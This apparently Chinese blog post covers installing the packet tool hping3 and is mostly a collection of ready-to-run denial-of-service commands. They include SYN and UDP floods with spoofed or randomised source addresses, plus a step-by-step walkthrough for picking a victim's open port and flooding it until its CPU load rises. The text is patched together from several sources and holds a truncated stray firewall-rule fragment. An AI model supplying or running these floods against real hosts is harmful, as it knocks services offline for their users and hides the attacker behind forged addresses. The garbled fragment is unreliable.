【安全】测试软件hping3的安装和使用

hping3

  1. hping3官网
  2. Ubuntu下安装:sudo apt-get install hping3
  3. Ubuntu官网对hping3的介绍
  4. hping3命令详解:https://man.linuxde.net/hping3
  5. hping3使用案例:https://mochazz.github.io/2017/07/23/hping3/#%E4%B8%BB%E6%9C%BA%E5%8F%91%E7%8E%B0

Common //通用设置
  -d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。(http://www.blogshiguang.cn/hping3%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3.html

 

https://blog.51cto.com/19920624/1584465

 1、DOS with random source IP

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com

参数含义::
hping= 应用名称.
-c 100000 =packets 发送的数量.
-d 120 = packet的大小.
-S = 只发送SYN packets.
-w 64 = TCP window的大小.
-p 21 = Destination port (21 being FTP port). 可以使用任意端口.
--flood = Sending packets as fast as possible, 不显示回应. Flood mode.
--rand-source = 使用随机的Source IP Addresses. 或者使用 -a or spoof to hide hostnames.
www.hping3testsite.com = Destination IP address or target machines IP address. 或者使用 一个网址 In my case resolves to 127.0.0.1 (as entered in /etc/hosts file)

 3、UDP flood
这是相同的概念ICMP泛洪除非你发送大量的UDP数据。 UDP泛洪对网络带宽非常危险的。
Generating UDP flood:
hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
ame blacklist_180 --set -m comment --comment"Blacklist source IP" -j DROP

 4、SYN flood
SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。 SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。
Example of a SYN flood attack :
hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2


参考:https://blog.csdn.net/qq_43776408/article/details/103338374

简单的SYN FLOOD攻击

ifconfig/all 获取IP

netstat -ano 获取开放端口,最好找那些处于listenning的端口

然后装有hping3的终端上:

hping3 -S -p 135 --flood -V --rand-source 192.168.xxx.xxx

-S表示采用SYN半连接方法

--flood 尽可能快的发送数据包

--rand-source 表示伪造IP地址

-V 启用详细输出

执行上述命令后在目标机上打开任务管理器

查看CPU的利用率,你会发现明显提高了

未synflood:

synflood后:

 ctrl+c interrupt hping3:


 

sudo hping3 -q -n -a 2.2.2.2 -S -s 53 --keep -p 445 --flood 192.168.43.118

hping3 -q -n -a 伪造源IP -S -s 伪造源端口 --keep -p 目的端口 --flood 目的IP

之后用wireshark对vm的网卡VMnet8抓包

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值